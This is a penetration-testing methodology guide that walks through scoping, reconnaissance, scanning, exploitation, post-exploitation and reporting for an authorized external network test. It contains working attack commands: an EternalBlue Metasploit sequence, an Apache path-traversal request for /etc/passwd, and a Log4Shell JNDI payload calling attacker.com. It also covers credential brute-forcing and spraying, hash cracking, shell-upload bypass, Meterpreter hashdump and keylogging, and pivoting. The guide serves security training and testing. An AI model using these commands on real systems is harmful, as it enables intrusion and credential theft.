Performing External Network Penetration Test

Phase 1 — Pre-Engagement and Scoping

Define Rules of Engagement

Scope:
  - Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
  - Domains: *.target.com, *.target.io
  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com
  - Testing window: Mon-Fri 22:00-06:00 UTC
  - Emergency contact: SOC Lead — +1-555-0100
  - Authorization ID: PENTEST-2025-EXT-042

Legal Documentation Checklist

Phase 2 — Reconnaissance (Information Gathering)

Passive Reconnaissance

# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt

# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short

# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'

# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"

# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10

# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results

# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo

Active Reconnaissance

# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap

# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan

# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp

# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan

# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan

# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com

# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com

Phase 3 — Vulnerability Analysis

Automated Scanning

# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
  --targets 203.0.113.0/24 \
  --policy "Advanced Network Scan"

# OpenVAS scan
gvm-cli socket --xml '<create_task>
  <name>External Pentest</name>
  <target id="target-uuid"/>
  <config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'

# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
  -severity critical,high -o nuclei_results.txt

# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm

# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  --depth 3 -o ferox_results.txt

Manual Vulnerability Validation

# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2

# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
  ssh://203.0.113.10 -t 4

# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode

# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24

# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25

Phase 4 — Exploitation

Network Service Exploitation

# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit

# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e [email protected]

# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api

Web Application Exploitation

# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5

# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav

# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch

# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg

Password Attacks

# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4

# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa

# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Phase 5 — Post-Exploitation

# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester

# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt

# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt

# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 [email protected]
proxychains nmap -sT -p 80,443,445 10.0.0.0/24

# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start

Phase 6 — Reporting

Finding Classification (CVSS v3.1)

Report Structure

1. Executive Summary
   - Scope and objectives
   - Key findings summary
   - Risk rating overview
   - Strategic recommendations

2. Technical Findings
   For each finding:
   - Title and CVSS score
   - Affected asset(s)
   - Description and impact
   - Steps to reproduce (with screenshots)
   - Evidence/proof of exploitation
   - Remediation recommendation
   - References (CVE, CWE)

3. Methodology
   - Tools used
   - Testing timeline
   - Frameworks followed (PTES, OWASP)

4. Appendices
   - Full scan results
   - Network diagrams
   - Raw tool output

Remediation Priority Matrix

Tools Reference

References

• PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
• OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/
• NIST SP 800-115: Technical Guide to Information Security Testing: https://csrc.nist.gov/publications/detail/sp/800-115/final
• OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
• MITRE ATT&CK: https://attack.mitre.org/